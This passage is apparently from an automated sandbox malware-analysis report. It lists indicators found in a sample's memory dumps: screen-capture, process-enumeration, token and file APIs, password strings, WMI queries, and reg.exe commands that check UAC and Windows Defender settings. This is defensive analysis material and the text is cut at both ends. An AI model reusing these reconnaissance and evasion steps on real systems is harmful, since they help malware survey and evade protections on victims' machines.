"00000000-00000328.00000000.177045.010A8000.00000004.mdmp") Found string "PQAeS~" (Indicator: "aes"; Source: "00000000-00000328.00000000.177045.010A8000.00000004.mdmp") Found string "'Protect Kerberos Service Tickets with AES Keys' - Disabled" (Indicator: "aes"; Source: "00000000-00001836.00000000.170350.047B0000.00000002.mdmp") Found string "'Protect Kerberos Service Tickets with AES Keys' - Enabled" (Indicator: "aes"; Source: "00000000-00001836.00000000.170350.047B0000.00000002.mdmp") Found string "3DES" (Indicator: "3des"; Source: "00000000-00001836.00000000.170350.047B0000.00000002.mdmp") Found string "AES-128" (Indicator: "aes"; Source: "00000000-00001836.00000000.170350.047B0000.00000002.mdmp")5e:Td69,Found reference to API "GetDC" (Indicator: "GetDC"; File: "27c9fc721cbbab41466cc7dab545e649fa7bbdeb53669400d96d44cb5935b6f1.bin") Found reference to API "CreateCompatibleBitmap" (Indicator: "CreateCompatibleBitmap"; File: "27c9fc721cbbab41466cc7dab545e649fa7bbdeb53669400d96d44cb5935b6f1.bin") Found reference to API "CreateCompatibleDC" (Indicator: "CreateCompatibleDC"; File: "27c9fc721cbbab41466cc7dab545e649fa7bbdeb53669400d96d44cb5935b6f1.bin") Found reference to API "GetDC" (Indicator: "GetDC"; Source: "00000000-00004448.00000000.168926.40017000.00000002.mdmp") Found reference to API "GetDesktopWindow" (Indicator: "GetDesktopWindow"; Source: "00000000-00004448.00000000.168926.40017000.00000002.mdmp") Found reference to API "CreateCompatibleDC" (Indicator: "CreateCompatibleDC"; Source: "00000000-00004448.00000000.168926.40017000.00000002.mdmp") Found reference to API "CreateCompatibleBitmap" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00004448.00000000.168926.40017000.00000002.mdmp") Found reference to API "BitBlt" (Indicator: "BitBlt"; Source: "00000000-00004448.00000000.168926.40017000.00000002.mdmp") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00004944.00000000.177380.00550000.00000004.mdmp, 00000000-00004944.00000001.179300.00550000.00000004.mdmp, 00000000-00004944.00000002.180064.00550000.00000004.mdmp") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00004944.00000000.177380.00550000.00000004.mdmp, 00000000-00004944.00000001.179300.00550000.00000004.mdmp, 00000000-00004944.00000002.180064.00550000.00000004.mdmp") Found reference to API "" (Indicator: "GetWindowDC"; Source: "00000000-00004944.00000000.177380.00550000.00000004.mdmp, 00000000-00004944.00000001.179300.00550000.00000004.mdmp, 00000000-00004944.00000002.180064.00550000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00004944.00000000.177380.00550000.00000004.mdmp, 00000000-00004944.00000001.179300.00550000.00000004.mdmp, 00000000-00004944.00000002.180064.00550000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00004944.00000000.177380.00550000.00000004.mdmp, 00000000-00004944.00000001.179300.00550000.00000004.mdmp, 00000000-00004944.00000002.180064.00550000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00004944.00000000.177380.00550000.00000004.mdmp, 00000000-00004944.00000001.179300.00550000.00000004.mdmp, 00000000-00004944.00000002.180064.00550000.00000004.mdmp") Found reference to API "" (Indicator: "BitBlt"; Source: "00000000-00004944.00000000.177380.00550000.00000004.mdmp, 00000000-00004944.00000001.179300.00550000.00000004.mdmp, 00000000-00004944.00000002.180064.00550000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleDC"; Source: "00000000-00004944.00000000.177380.00550000.00000004.mdmp, 00000000-00004944.00000001.179300.00550000.00000004.mdmp, 00000000-00004944.00000002.180064.00550000.00000004.mdmp")5f:T470,Found reference to API "FindFirstFileW" (Indicator: "FindFirstFile"; File: "27c9fc721cbbab41466cc7dab545e649fa7bbdeb53669400d96d44cb5935b6f1.bin") Found reference to API "FindNextFileW" (Indicator: "FindNextFile"; File: "27c9fc721cbbab41466cc7dab545e649fa7bbdeb53669400d96d44cb5935b6f1.bin") Found reference to API "FindFirstFileExA" (Indicator: "FindFirstFile"; File: "27c9fc721cbbab41466cc7dab545e649fa7bbdeb53669400d96d44cb5935b6f1.bin") Found reference to API "FindNextFileA" (Indicator: "FindNextFile"; File: "27c9fc721cbbab41466cc7dab545e649fa7bbdeb53669400d96d44cb5935b6f1.bin") Found reference to API "FindFirstFileW" (Indicator: "FindFirstFile"; Source: "00000000-00000328.00000000.177045.01091000.00000002.mdmp") Found reference to API "FindNextFileW" (Indicator: "FindNextFile"; Source: "00000000-00000328.00000000.177045.01091000.00000002.mdmp") Found reference to API "FindNextFileA" (Indicator: "FindNextFile"; Source: "00000000-00004448.00000000.168926.40017000.00000002.mdmp") Found reference to API "FindFirstFileA" (Indicator: "FindFirstFile"; Source: "00000000-00004448.00000000.168926.40017000.00000002.mdmp")60:Te73,Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; File: "27c9fc721cbbab41466cc7dab545e649fa7bbdeb53669400d96d44cb5935b6f1.bin") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; File: "27c9fc721cbbab41466cc7dab545e649fa7bbdeb53669400d96d44cb5935b6f1.bin") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; File: "27c9fc721cbbab41466cc7dab545e649fa7bbdeb53669400d96d44cb5935b6f1.bin") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; File: "27c9fc721cbbab41466cc7dab545e649fa7bbdeb53669400d96d44cb5935b6f1.bin") Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; File: "27c9fc721cbbab41466cc7dab545e649fa7bbdeb53669400d96d44cb5935b6f1.bin") Found reference to API "wQueryInformationProcess" (Indicator: "QueryInformationProcess"; File: "00000000-00004944.00000002.180064.00DC3000.00000080.mdmp") Found reference to API "IoGetCurrentProcess" (Indicator: "GetCurrentProcess"; File: "00000000-00004944.00000002.180064.00DC3000.00000080.mdmp") Found reference to API "PsGetCurrentProcessId" (Indicator: "GetCurrentProcess"; File: "00000000-00004944.00000002.180064.00DC3000.00000080.mdmp") Found reference to API "PsLookupProcessByProcessId" (Indicator: "PsLookupProcessByProcessId"; File: "00000000-00004944.00000002.180064.00DC3000.00000080.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00000328.00000000.177045.01091000.00000002.mdmp") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; Source: "00000000-00000328.00000000.177045.01091000.00000002.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00000328.00000000.177045.01091000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00000328.00000000.177045.01091000.00000002.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00001836.00000000.170350.01203000.00000002.mdmp") Found reference to API "NtQueryInformationProcess" (Indicator: "QueryInformationProcess"; Source: "00000000-00001836.00000000.170350.01203000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00001836.00000000.170350.01203000.00000002.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00001836.00000000.170350.01203000.00000002.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00003136.00000000.180392.00EBF000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00003136.00000000.180392.00EBF000.00000002.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00003136.00000000.180392.00EBF000.00000002.mdmp") Found reference to API "CreateToolhelp32Snapshot" (Indicator: "CreateToolhelp32Snapshot"; Source: "00000000-00004448.00000000.168926.40017000.00000002.mdmp") Found reference to API "Module32First" (Indicator: "Module32First"; Source: "00000000-00004448.00000000.168926.40017000.00000002.mdmp") Found reference to API "Module32Next" (Indicator: "Module32Next"; Source: "00000000-00004448.00000000.168926.40017000.00000002.mdmp") Found reference to API "Process32First" (Indicator: "Process32First"; Source: "00000000-00004448.00000000.168926.40017000.00000002.mdmp") Found reference to API "Process32Next" (Indicator: "Process32Next"; Source: "00000000-00004448.00000000.168926.40017000.00000002.mdmp")61:T1f57,Observed string: "%WINDIR%\system32\cmd.exe /c tasklist" (Indicator: " tasklist") in Source: 00000000-00002240-00000C47-54448576832 Observed string: "%WINDIR%\system32\tasklist.exe" [Source: 00000000-00003800-00000C47-1103687200] Observed string: "%WINDIR%\SysWOW64\tasklist.exe" [Source: 00000000-00003800-00000BC0-1626342975] Observed string: "tasklist.exe" [Source: 00000000-00001836-00000BC0-1626416563] Observed string: "C:\WINDOWS\SysWOW64\tasklist.exe" [Source: 00000000-00001836.00000000.170350.00BF0000.00000004.mdmp] Observed string: ":\WINDOWS\SysWOW64\tasklist.exe" [Source: 00000000-00001836.00000000.170350.00BF0000.00000004.mdmp] Observed string: "\Device\HarddiskVolume2\Windows\SysWOW64\tasklist.exe" [Source: 00000000-00001836.00000000.170350.00BF0000.00000004.mdmp] Observed string: "tasklist.exe" [Source: 00000000-00001836.00000000.170350.00BF0000.00000004.mdmp 00000000-00001836.00000000.170350.00E70000.00000004.mdmp 00000000-00001836.00000000.170350.01203000.00000002.mdmp 00000000-00001836.00000000.170350.047B0000.00000002.mdmp] Observed string: "tasklist.exe.mui" [Source: 00000000-00001836.00000000.170350.047B0000.00000002.mdmp] Observed string: "utoIt3_x64.exe svchost.exe mitmdump.exe conhost.exe cmd.exe conhost.exe dllhost.exe cmd.exe tasklist.exe" [Source: 00000000-00001868.00000000.171794.00E50000.00000004.mdmp] Observed string: "exe dllhost.exe WmiPrvSE.exe msdtc.exe svchost.exe svchost.exe sihost.exe svchost.exe svchost.exe taskhostw.exe svchost.exe svchost.exe ctfmon.exe explorer.exe ShellExperienceHost.exe SearchUI.exe RuntimeBroker.exe RuntimeBroker.exe svchost.exe vmtoolsd.exe ONENOTEM.EXE OSPPSVC.EXE sedsvc.exe svchost.exe svchost.exe ApplicationFrameHost.exe WinStore.App.exe RuntimeBroker.exe SystemSettings.exe RuntimeBroker.exe svchost.exe svchost.exe svchost.exe AutoIt3_x64.exe svchost.exe WmiPrvSE.exe RuntimeBroker.exe tshark.exe conhost.exe VxKernelSvcNTMgr.exe svchost.exe dumpcap.exe conhost.exe TrustedInstaller.exe TiWorker.exe svchost.exe AutoIt3_x64.exe AutoIt3_x64.exe AutoIt3_x64.exe AutoIt3_x64.exe AutoIt3_x64.exe AutoIt3_x64.exe svchost.exe mitmdump.exe conhost.exe cmd.exe conhost.exe dllhost.exe cmd.exe tasklist.exe" [Source: 00000000-00001868.00000000.171794.03210000.00000004.mdmp] Observed string: "oIt3_x64.exe AutoIt3_x64.exe AutoIt3_x64.exe AutoIt3_x64.exe svchost.exe mitmdump.exe conhost.exe cmd.exe conhost.exe dllhost.exe cmd.exe tasklist.exe" [Source: 00000000-00002344.00000000.176389.03090000.00000004.mdmp] Observed string: "dllhost.exe cmd.exe tasklist.exe" [Source: 00000000-00003136.00000000.180392.02EE0000.00000004.mdmp] Observed string: "host.exe WmiPrvSE.exe msdtc.exe svchost.exe svchost.exe sihost.exe svchost.exe svchost.exe taskhostw.exe svchost.exe svchost.exe ctfmon.exe explorer.exe ShellExperienceHost.exe SearchUI.exe RuntimeBroker.exe RuntimeBroker.exe svchost.exe vmtoolsd.exe ONENOTEM.EXE OSPPSVC.EXE sedsvc.exe svchost.exe svchost.exe ApplicationFrameHost.exe WinStore.App.exe RuntimeBroker.exe SystemSettings.exe RuntimeBroker.exe svchost.exe svchost.exe svchost.exe AutoIt3_x64.exe svchost.exe WmiPrvSE.exe RuntimeBroker.exe tshark.exe conhost.exe VxKernelSvcNTMgr.exe svchost.exe dumpcap.exe conhost.exe TrustedInstaller.exe TiWorker.exe svchost.exe AutoIt3_x64.exe AutoIt3_x64.exe AutoIt3_x64.exe AutoIt3_x64.exe AutoIt3_x64.exe AutoIt3_x64.exe svchost.exe mitmdump.exe conhost.exe cmd.exe conhost.exe dllhost.exe cmd.exe tasklist.exe" [Source: 00000000-00003600.00000000.173742.03470000.00000004.mdmp] Observed string: ".exe cmd.exe conhost.exe dllhost.exe cmd.exe tasklist.exe" [Source: 00000000-00003832.00000000.170822.00C90000.00000004.mdmp] Observed string: "PrvSE.exe msdtc.exe svchost.exe svchost.exe sihost.exe svchost.exe svchost.exe taskhostw.exe svchost.exe svchost.exe ctfmon.exe explorer.exe ShellExperienceHost.exe SearchUI.exe RuntimeBroker.exe RuntimeBroker.exe svchost.exe vmtoolsd.exe ONENOTEM.EXE OSPPSVC.EXE sedsvc.exe svchost.exe svchost.exe ApplicationFrameHost.exe WinStore.App.exe RuntimeBroker.exe SystemSettings.exe RuntimeBroker.exe svchost.exe svchost.exe svchost.exe AutoIt3_x64.exe svchost.exe WmiPrvSE.exe RuntimeBroker.exe tshark.exe conhost.exe VxKernelSvcNTMgr.exe svchost.exe dumpcap.exe conhost.exe TrustedInstaller.exe TiWorker.exe svchost.exe AutoIt3_x64.exe AutoIt3_x64.exe AutoIt3_x64.exe AutoIt3_x64.exe AutoIt3_x64.exe AutoIt3_x64.exe svchost.exe mitmdump.exe conhost.exe cmd.exe conhost.exe dllhost.exe cmd.exe tasklist.exe" [Source: 00000000-00003832.00000000.170822.00F40000.00000004.mdmp] Observed string: "st.exe svchost.exe dllhost.exe WmiPrvSE.exe msdtc.exe svchost.exe svchost.exe sihost.exe svchost.exe svchost.exe taskhostw.exe svchost.exe svchost.exe ctfmon.exe explorer.exe ShellExperienceHost.exe SearchUI.exe RuntimeBroker.exe RuntimeBroker.exe svchost.exe vmtoolsd.exe ONENOTEM.EXE OSPPSVC.EXE sedsvc.exe svchost.exe svchost.exe ApplicationFrameHost.exe WinStore.App.exe RuntimeBroker.exe SystemSettings.exe RuntimeBroker.exe svchost.exe svchost.exe svchost.exe AutoIt3_x64.exe svchost.exe WmiPrvSE.exe RuntimeBroker.exe tshark.exe conhost.exe VxKernelSvcNTMgr.exe svchost.exe dumpcap.exe conhost.exe TrustedInstaller.exe TiWorker.exe svchost.exe AutoIt3_x64.exe AutoIt3_x64.exe AutoIt3_x64.exe AutoIt3_x64.exe AutoIt3_x64.exe AutoIt3_x64.exe svchost.exe mitmdump.exe conhost.exe cmd.exe conhost.exe dllhost.exe cmd.exe tasklist.exe" [Source: 00000000-00003936.00000000.175686.03890000.00000004.mdmp] Observed string: ".exe tasklist.exe" [Source: 00000000-00004300.00000000.175038.034D0000.00000004.mdmp] Observed string: "host.exe WmiPrvSE.exe msdtc.exe svchost.exe svchost.exe sihost.exe svchost.exe svchost.exe taskhostw.exe svchost.exe svchost.exe ctfmon.exe explorer.exe ShellExperienceHost.exe SearchUI.exe RuntimeBroker.exe RuntimeBroker.exe svchost.exe vmtoolsd.exe ONENOTEM.EXE OSPPSVC.EXE sedsvc.exe svchost.exe svchost.exe ApplicationFrameHost.exe WinStore.App.exe RuntimeBroker.exe SystemSettings.exe RuntimeBroker.exe svchost.exe svchost.exe svchost.exe AutoIt3_x64.exe svchost.exe WmiPrvSE.exe RuntimeBroker.exe tshark.exe conhost.exe VxKernelSvcNTMgr.exe svchost.exe dumpcap.exe conhost.exe TrustedInstaller.exe TiWorker.exe svchost.exe AutoIt3_x64.exe AutoIt3_x64.exe AutoIt3_x64.exe AutoIt3_x64.exe AutoIt3_x64.exe AutoIt3_x64.exe svchost.exe mitmdump.exe conhost.exe cmd.exe conhost.exe dllhost.exe cmd.exe tasklist.exe" [Source: 00000000-00004300.00000000.175038.036A0000.00000004.mdmp] Observed string: "host.exe WmiPrvSE.exe msdtc.exe svchost.exe svchost.exe sihost.exe svchost.exe svchost.exe taskhostw.exe svchost.exe svchost.exe ctfmon.exe explorer.exe ShellExperienceHost.exe SearchUI.exe RuntimeBroker.exe RuntimeBroker.exe svchost.exe vmtoolsd.exe ONENOTEM.EXE OSPPSVC.EXE sedsvc.exe svchost.exe svchost.exe ApplicationFrameHost.exe WinStore.App.exe RuntimeBroker.exe SystemSettings.exe RuntimeBroker.exe svchost.exe svchost.exe svchost.exe AutoIt3_x64.exe svchost.exe WmiPrvSE.exe RuntimeBroker.exe tshark.exe conhost.exe VxKernelSvcNTMgr.exe svchost.exe dumpcap.exe conhost.exe TrustedInstaller.exe TiWorker.exe svchost.exe AutoIt3_x64.exe AutoIt3_x64.exe AutoIt3_x64.exe AutoIt3_x64.exe AutoIt3_x64.exe AutoIt3_x64.exe svchost.exe mitmdump.exe conhost.exe cmd.exe conhost.exe dllhost.exe cmd.exe tasklist.exe" [Source: 00000000-00004344.00000000.171470.033A0000.00000004.mdmp] Observed string: "oIt3_x64.exe AutoIt3_x64.exe AutoIt3_x64.exe AutoIt3_x64.exe svchost.exe mitmdump.exe conhost.exe cmd.exe conhost.exe dllhost.exe cmd.exe tasklist.exe" [Source: 00000000-00004780.00000000.176713.00710000.00000004.mdmp]62:T9e2,Found reference to API "GetFileAttributesW" (Indicator: "GetFileAttributes"; File: "27c9fc721cbbab41466cc7dab545e649fa7bbdeb53669400d96d44cb5935b6f1.bin") Found reference to API "GetCurrentDirectoryW" (Indicator: "GetCurrentDirectory"; File: "27c9fc721cbbab41466cc7dab545e649fa7bbdeb53669400d96d44cb5935b6f1.bin") Found reference to API "GetSystemDirectoryW" (Indicator: "GetSystemDirectory"; File: "27c9fc721cbbab41466cc7dab545e649fa7bbdeb53669400d96d44cb5935b6f1.bin") Found reference to API "GetTempPathW" (Indicator: "GetTempPath"; File: "27c9fc721cbbab41466cc7dab545e649fa7bbdeb53669400d96d44cb5935b6f1.bin") Found reference to API "ZwQueryInformationFile" (Indicator: "QueryInformationFile"; File: "00000000-00004944.00000002.180064.00DC3000.00000080.mdmp") Found reference to API "GetCurrentDirectoryW" (Indicator: "GetCurrentDirectory"; Source: "00000000-00000328.00000000.177045.01091000.00000002.mdmp") Found reference to API "GetTempPathW" (Indicator: "GetTempPath"; Source: "00000000-00000328.00000000.177045.01091000.00000002.mdmp") Found reference to API "GetFileInformationByHandle" (Indicator: "GetFileInformationByHandle"; Source: "00000000-00000328.00000000.177045.01091000.00000002.mdmp") Found reference to API "GetFileAttributesW" (Indicator: "GetFileAttributes"; Source: "00000000-00000328.00000000.177045.01091000.00000002.mdmp") Found reference to API "GetFileSize" (Indicator: "GetFileSize"; Source: "00000000-00000328.00000000.177045.01091000.00000002.mdmp") Found reference to API "GetSystemDirectoryW" (Indicator: "GetSystemDirectory"; Source: "00000000-00001836.00000000.170350.01203000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeExW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00001836.00000000.170350.01203000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeExW" (Indicator: "GetFileVersionInfoSize"; Source: "00000000-00001836.00000000.170350.01203000.00000002.mdmp") Found reference to API "GetFileVersionInfoExW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00001836.00000000.170350.01203000.00000002.mdmp") Found reference to API "GetFileAttributesA" (Indicator: "GetFileAttributes"; Source: "00000000-00004448.00000000.168926.40017000.00000002.mdmp") Found reference to API "GetFileSize" (Indicator: "GetFileSize"; Source: "00000000-00004448.00000000.168926.40017000.00000002.mdmp") Found reference to API "GetSystemDirectoryA" (Indicator: "GetSystemDirectory"; Source: "00000000-00004448.00000000.168926.40017000.00000002.mdmp")63:T653,Found reference to API "OpenProcessToken" (Indicator: "OpenProcessToken"; File: "27c9fc721cbbab41466cc7dab545e649fa7bbdeb53669400d96d44cb5935b6f1.bin") Found reference to API "OpenProcessToken" (Indicator: "OpenProcessToken"; Source: "00000000-00000328.00000000.177045.01091000.00000002.mdmp") Found reference to API "OpenProcessToken" (Indicator: "OpenProcessToken"; Source: "00000000-00001836.00000000.170350.01203000.00000002.mdmp") Found reference to API "LookupAccountSidW" (Indicator: "LookupAccountSid"; Source: "00000000-00001836.00000000.170350.01203000.00000002.mdmp") Found reference to API "GetProcessWindowStation" (Indicator: "GetProcessWindowStation"; Source: "00000000-00001836.00000000.170350.01203000.00000002.mdmp") Found reference to API "NtQueryInformationProcess" (Indicator: "NtQueryInformationProcess"; Source: "00000000-00001836.00000000.170350.01203000.00000002.mdmp") Found reference to API "GetUserNameExW" (Indicator: "GetUserName"; Source: "00000000-00001836.00000000.170350.01203000.00000002.mdmp") Found reference to API "OpenProcessToken" (Indicator: "OpenProcessToken"; Source: "00000000-00004448.00000000.168926.40017000.00000002.mdmp") Found reference to API "WTSQueryUserToken" (Indicator: "WTSQueryUserToken"; Source: "00000000-00004448.00000000.168926.40017000.00000002.mdmp") Found reference to API "NtQuerySystemInformation" (Indicator: "NtQuerySystemInformation"; Source: "00000000-00004448.00000000.168926.40017000.00000002.mdmp") Found reference to API "NtQueryObject" (Indicator: "NtQueryObject"; Source: "00000000-00004448.00000000.168926.40017000.00000002.mdmp")64:T1018,Found string "Cannot open encrypted archive. Wrong password?" (Indicator: "password"; File: "00000000-00000328.00000000.177045.00FE1000.00000020.mdmp") Found string "Enter password (will not be echoed):" (Indicator: "password"; File: "00000000-00000328.00000000.177045.00FE1000.00000020.mdmp") Found string "password=" (Indicator: "password"; File: "00000000-00003136.00000000.180392.00EB1000.00000020.mdmp") Found string "Headers Error in encrypted archive. Wrong password?" (Indicator: "password"; Source: "00000000-00000328.00000000.177045.01091000.00000002.mdmp") Found string "Wrong password" (Indicator: "password"; Source: "00000000-00000328.00000000.177045.01091000.00000002.mdmp") Found string "Data Error in encrypted file. Wrong password?" (Indicator: "password"; Source: "00000000-00000328.00000000.177045.01091000.00000002.mdmp") Found string "CRC Failed in encrypted file. Wrong password?" (Indicator: "password"; Source: "00000000-00000328.00000000.177045.01091000.00000002.mdmp") Found string "Cannot open encrypted archive. Wrong password?" (Indicator: "password"; Source: "00000000-00000328.00000000.177045.01091000.00000002.mdmp") Found string "Enter password (will not be echoed):" (Indicator: "password"; Source: "00000000-00000328.00000000.177045.01091000.00000002.mdmp") Found string "The specified account's password has expired." (Indicator: "password"; Source: "00000000-00001836.00000000.170350.047B0000.00000002.mdmp") Found string "Unknown user name or bad password." (Indicator: "password"; Source: "00000000-00001836.00000000.170350.047B0000.00000002.mdmp") Found string "Failed to zero secret data." (Indicator: "secret"; Source: "00000000-00001836.00000000.170350.047B0000.00000002.mdmp") Found string "ChangePassword (with knowledge of old password)" (Indicator: "password"; Source: "00000000-00001836.00000000.170350.047B0000.00000002.mdmp") Found string "SetPassword (without knowledge of old password)" (Indicator: "password"; Source: "00000000-00001836.00000000.170350.047B0000.00000002.mdmp") Found string "Create a secret object" (Indicator: "secret"; Source: "00000000-00001836.00000000.170350.047B0000.00000002.mdmp") Found string "Change secret value" (Indicator: "secret"; Source: "00000000-00001836.00000000.170350.047B0000.00000002.mdmp") Found string "Query secret value" (Indicator: "secret"; Source: "00000000-00001836.00000000.170350.047B0000.00000002.mdmp") Found string "The client specified username and password in the request to the destination computer. But the destination" (Indicator: "password"; Source: "00000000-00001836.00000000.170350.047B0000.00000002.mdmp") Found string "when using HTTPS. Username and password must be specified." (Indicator: "password"; Source: "00000000-00001836.00000000.170350.047B0000.00000002.mdmp") Found string "To use Basic, specify the computer name as the remote destination, specify Basic authentication and provide user name and password." (Indicator: "password"; Source: "00000000-00001836.00000000.170350.047B0000.00000002.mdmp") Found string "To use Basic, specify the local computer name as the remote destination, specify Basic authentication and provide user name and password." (Indicator: "password"; Source: "00000000-00001836.00000000.170350.047B0000.00000002.mdmp") Found string "-The user name or password specified are invalid.%n" (Indicator: "password"; Source: "00000000-00001836.00000000.170350.047B0000.00000002.mdmp") Found string "No user name, password or client certificate should be specified with the 'no authentication' option." (Indicator: "password"; Source: "00000000-00001836.00000000.170350.047B0000.00000002.mdmp") Found string "The WinRM client cannot process the request. Requests must include user name and password when Basic or Digest authentication mechanism is used." (Indicator: "password"; Source: "00000000-00001836.00000000.170350.047B0000.00000002.mdmp") Found string "Add the user name and password or change the authentication mechanism and try the request again." (Indicator: "password"; Source: "00000000-00001836.00000000.170350.047B0000.00000002.mdmp")65:T10ea,Found string "tasklist" (Indicator: "tasklist"; Source: "00000000-00001836.00000000.170350.00BF0000.00000004.mdmp, 00000000-00001836.00000000.170350.00E70000.00000004.mdmp") Found string "The hostname pattern is invalid: "%1"" (Indicator: "hostname"; Source: "00000000-00001836.00000000.170350.047B0000.00000002.mdmp") Found string "Hostname patterns must contain one or more patterns." (Indicator: "hostname"; Source: "00000000-00001836.00000000.170350.047B0000.00000002.mdmp") Found string "TrustedHosts list contains an invalid hostname or hostname pattern." (Indicator: "hostname"; Source: "00000000-00001836.00000000.170350.047B0000.00000002.mdmp") Found string "The WinRM client could not create a push subscription because there are no listeners configured that match the specified hostname and transport, or because there is no enabled firewall exception on the port used by the selected listener." (Indicator: "hostname"; Source: "00000000-00001836.00000000.170350.047B0000.00000002.mdmp") Found string "Change the hostname and transport, create an appropriate firewall exception, or run winrm quickconfig." (Indicator: "hostname"; Source: "00000000-00001836.00000000.170350.047B0000.00000002.mdmp") Found string "Transport, port and suffix are optional. The host may be a hostname or an IP address." (Indicator: "hostname"; Source: "00000000-00001836.00000000.170350.047B0000.00000002.mdmp") Found string "The WinRM client cannot process the request. The certificate CN and the hostname that were provided do not match." (Indicator: "hostname"; Source: "00000000-00001836.00000000.170350.047B0000.00000002.mdmp") Found string "You may want to use the CHCP command to change the client Code Page to 437 and receive the results in English." (Indicator: "chcp"; Source: "00000000-00001836.00000000.170350.047B0000.00000002.mdmp") Found string "The destination computer name must be a hostname or an IP address, and must not be a URL." (Indicator: "hostname"; Source: "00000000-00001836.00000000.170350.047B0000.00000002.mdmp") Found string "DNS query for %2 hostname is sent: Handle=%3" (Indicator: "hostname"; Source: "00000000-00001836.00000000.170350.047B0000.00000002.mdmp") Found string "DNS query for %2 hostname is complete: Handle=%3, Addresses=%5" (Indicator: "hostname"; Source: "00000000-00001836.00000000.170350.047B0000.00000002.mdmp") Found string "DNS query for %2 hostname failed: Handle=%3 Error=%4" (Indicator: "hostname"; Source: "00000000-00001836.00000000.170350.047B0000.00000002.mdmp") Found string "Re-used DNS cache, query for %2 hostname is complete: Handle=%3, Addresses=%5" (Indicator: "hostname"; Source: "00000000-00001836.00000000.170350.047B0000.00000002.mdmp") Found string "nslookup [-opt ...] # interactive mode using default server" (Indicator: "nslookup"; Source: "00000000-00001836.00000000.170350.047B0000.00000002.mdmp") Found string "nslookup [-opt ...] - server # interactive mode using 'server'" (Indicator: "nslookup"; Source: "00000000-00001836.00000000.170350.047B0000.00000002.mdmp") Found string "nslookup [-opt ...] host # just look up 'host' using default server" (Indicator: "nslookup"; Source: "00000000-00001836.00000000.170350.047B0000.00000002.mdmp") Found string "nslookup [-opt ...] host server # just look up 'host' using 'server'" (Indicator: "nslookup"; Source: "00000000-00001836.00000000.170350.047B0000.00000002.mdmp") Found string "nslookup" (Indicator: "nslookup"; Source: "00000000-00001836.00000000.170350.047B0000.00000002.mdmp") Found string "Type "TASKLIST /?" for usage." (Indicator: "tasklist"; Source: "00000000-00001836.00000000.170350.047B0000.00000002.mdmp") Found string "TASKLIST" (Indicator: "tasklist"; Source: "00000000-00001836.00000000.170350.047B0000.00000002.mdmp") Found string "TASKLIST /M" (Indicator: "tasklist"; Source: "00000000-00001836.00000000.170350.047B0000.00000002.mdmp") Found string "TASKLIST /V /FO CSV" (Indicator: "tasklist"; Source: "00000000-00001836.00000000.170350.047B0000.00000002.mdmp") Found string "TASKLIST /SVC /FO LIST" (Indicator: "tasklist"; Source: "00000000-00001836.00000000.170350.047B0000.00000002.mdmp") Found string "+ TASKLIST /APPS /FI "STATUS eq RUNNING"" (Indicator: "tasklist"; Source: "00000000-00001836.00000000.170350.047B0000.00000002.mdmp")66:T61a,Found string "SELECT * FROM Win32_OperatingSystem" (Indicator: " Win32_OperatingSystem"; File: "27c9fc721cbbab41466cc7dab545e649fa7bbdeb53669400d96d44cb5935b6f1.bin") Found string "SELECT Name FROM Win32_Service WHERE ProcessId = %d and State="Running"" (Indicator: " Win32_Service"; File: "00000000-00001836.00000000.170350.011F1000.00000020.mdmp") Found string "SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process" (Indicator: " Win32_Process"; File: "00000000-00001836.00000000.170350.011F1000.00000020.mdmp") Found string "ame FROM Win32_Service WHERE ProcessId = %d and State="Running"" (Indicator: " Win32_Service"; File: "00000000-00001836.00000000.170350.011F1000.00000020.mdmp") Found string "SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process" (Indicator: " Win32_Process"; Source: "00000000-00001836.00000000.170350.00BF0000.00000004.mdmp, 00000000-00001836.00000000.170350.00E70000.00000004.mdmp, 00000000-00001836.00000000.170350.011F1000.00000020.mdmp") Found string "LECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process" (Indicator: " Win32_Process"; Source: "00000000-00001836.00000000.170350.00BF0000.00000004.mdmp") Found string "SELECT Name FROM Win32_Service WHERE ProcessId = %d and State="Running"" (Indicator: " Win32_Service"; Source: "00000000-00001836.00000000.170350.011F1000.00000020.mdmp")67:Ta9f,Process "reg.exe" with commandline "reg query "HKU\\S-1-5-19"" (UID: 00000000-00007116) Process "reg.exe" with commandline "reg query "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System" /v "EnableLUA"" (UID: 00000000-00007984) Process "reg.exe" with commandline "reg query "HKLM\\System\\CurrentControlSet\\Services\\WinDefend"" (UID: 